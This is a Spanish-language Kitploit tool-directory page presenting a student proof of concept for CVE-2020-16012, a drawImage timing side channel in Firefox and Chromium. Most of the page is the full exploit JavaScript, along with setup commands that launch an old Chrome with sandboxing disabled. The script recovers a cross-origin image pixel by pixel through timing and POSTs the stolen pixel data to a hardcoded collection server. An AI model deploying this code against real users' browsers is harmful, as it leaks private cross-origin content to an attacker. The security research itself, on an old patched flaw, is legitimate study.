Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2020-16012-PoC — PoC para CVE-2020-16012, un canal lateral de temporización en drawImage en Firefox y Chrome | Kitploit
Herramientas/GitHubGitHub/leopoldabgn/cve-2020-16012-poc
Análisis de VulnerabilidadesExplotaciónSeguridad WebPapers e InvestigaciónAprendizaje y Educación
GitHubleopoldabgn/cve-2020-16012-poc

CVE-2020-16012-PoC

PoC para CVE-2020-16012, un canal lateral de temporización en drawImage en Firefox y Chrome

Ver Repositorio
hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2020-16012 | Ataque de canal lateral

Este repositorio contiene Pruebas de Concepto (PoCs) para CVE-2020-16012, una vulnerabilidad de canal lateral identificada en la implementación de CanvasRenderingContext2D.drawImage() en Firefox y Chromium.

Este proyecto fue realizado como un esfuerzo colaborativo de un equipo de seis estudiantes durante el segundo año de nuestro máster (M2).

Cliente

Versión 83 de Chrome

Enlace de instalación

https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Linux_x64/756066/

Comando de ejecución

root@kitploit:~
unzip Linux...chrome.zip
cd chrome-linux/
./chrome --disable-gpu --disable-software-rasterizer --no-sandbox ../code/client/exploit.html

Servidor

Instalar paquetes de Python

root@kitploit:~
cd code/server
pip install -r requirements.txt

Iniciar el servidor

Se ejecuta en el puerto 7000 en localhost.

root@kitploit:~
python3 server.py

Salida

Se creará una imagen llamada output/img1.png cuando presiones "Ctrl+C" para detener el servidor.

Script

root@kitploit:~
<script>
  let Heatmap = null
  let ScratchContext = null

  const Width = 75
  const Height = 75

  const Iters = 200
  const BATCH_SIZE = 100 // Batch size for sending data
  
  // Server base URL
const SERVER_URL = "http://192.168.0.26:7000"

function median(lst) {
let sorted = lst.slice(0).sort()
return sorted[Math.floor(sorted.length / 2)]
}

function zeroDelay() {
return new Promise(resolve => setTimeout(resolve, 0))
}

// Function to send RGB data to a server via POST (individual method)
async function sendPixelData(x, y, rgb) {
  // Sends RGB data to the remote server
  await fetch(`${SERVER_URL}`, {
      method: "POST",
      body: JSON.stringify({ x, y, rgb }),
      headers: { "Content-Type": "application/json" }
  })
}

// Function to send a batch of pixels
async function sendPixelBatch(pixelBatch) {
  await fetch(`${SERVER_URL}/batch`, {
      method: "POST",
      body: JSON.stringify({ pixels: pixelBatch }),
      headers: { "Content-Type": "application/json" }
  });
  console.log(`Sending a batch of ${pixelBatch.length} pixels`);
}

// Function to save the image on the server
async function saveImage() {
  try {
      const response = await fetch(`${SERVER_URL}/auto-save`);
      const data = await response.json();
      
      if (response.ok) {
          displayStatus(`Image saved: ${data.path}`, true);
          // Optionally, display the saved image
          document.getElementById('saved-image').src = `${SERVER_URL}/get-latest-image?t=${Date.now()}`;
          document.getElementById('saved-image-container').style.display = 'block';
      } else {
          displayStatus(`Error: ${data.error}`, false);
      }
  } catch (error) {
      displayStatus(`Connection error: ${error.message}`, false);
  }
}

// Function to display status messages
function displayStatus(message, isSuccess) {
  const statusElement = document.getElementById('status');
  statusElement.textContent = message;
  statusElement.className = isSuccess ? 'success' : 'error';
  statusElement.style.display = 'block';
  
  // Hide the message after 5 seconds
  setTimeout(() => {
      statusElement.style.display = 'none';
  }, 5000);
}

async function timePixel(image, x, y) {
let startTime = performance.now()
for (let j = 0; j < Iters; j++) {
  ScratchContext.drawImage(image, x, y, 1, 1, 0, 0, 1024, 1024)
}
/* in Chromium, the draw operations aren't actually performed
   immediately, but only after the JavaScript thread stops. we wait
   on a timeout with a duration of zero to give the browser a chance
   to do the drawing, as otherwise we'd just be measuring the time
   taken to enqueue all of the draw operations. */
await zeroDelay()
let endTime = performance.now()

return endTime - startTime
}

function drawHeatmap(heatmap) {
let min = Math.min(...heatmap.map(l => Math.min(...l)))
let max = Math.max(...heatmap.map(l => Math.max(...l)))

Heatmap.clearRect(0, 0, Width, Height)

for (let x = 0; x < heatmap.length; x++) {
  for (let y = 0; y < heatmap[x].length; y++) {
    let color = Math.round(255 * (max - heatmap[x][y]) / (max - min))
    Heatmap.fillStyle = `rgb(${color}, ${color}, ${color})`
    Heatmap.fillRect(x, y, 1, 1)
  }
}
}

async function recoverImage(image) {
document.getElementById('progress-info').textContent = "Initializing...";

/* the first couple of measurements are always higher
   than they're supposed to be because some interpreter
   optimizations haven't kicked in yet, so we "warm up"
   the interpreter by throwing away 5 measurements. */
for (let i = 0; i < 5; i++) {
  await timePixel(image, 0, 0)
}

let pixels = [];
let allPixelData = [];
let currentBatch = [];
const totalPixels = Width * Height;
let processedPixels = 0;

document.getElementById('progress-info').textContent = "Recovery in progress...";

for (let x = 0; x < Width; x++) {
  let col = []
  for (let y = 0; y < Height; y++) {
    rgb = await timePixel(image, x, y)
    col.push(rgb)
    
    // Add pixel to the current batch
    currentBatch.push({x, y, rgb});
    processedPixels++;
    
    // Update progress indicator
    document.getElementById('progress-info').textContent = 
        `Progress: ${processedPixels}/${totalPixels} pixels (${Math.round(processedPixels/totalPixels*100)}%)`;
    
    // If batch reaches limit, send it
    if (currentBatch.length >= BATCH_SIZE) {
      await sendPixelBatch([...currentBatch]); // Copy batch to avoid reference issues
      currentBatch = []; // Reset batch
    }

    drawHeatmap(pixels.concat([col]));
  }
  pixels.push(col)
}

// Send the last batch if pixels remain
if (currentBatch.length > 0) {
  await sendPixelBatch(currentBatch);
}

drawHeatmap(pixels)
document.getElementById('progress-info').textContent = "Recovery complete!";
document.getElementById('save-btn').disabled = false;
saveImage();
}

function init() {
ScratchContext = document.getElementById('scratch').getContext('2d')
ScratchContext.imageSmoothingEnabled = false

Heatmap = document.getElementById('heatmap').getContext('2d')
Heatmap.imageSmoothingEnabled = false

// Disable save button until recovery is complete
document.getElementById('save-btn').disabled = true;

recoverImage(document.getElementById('target'))
}
</script>
Descargar herramienta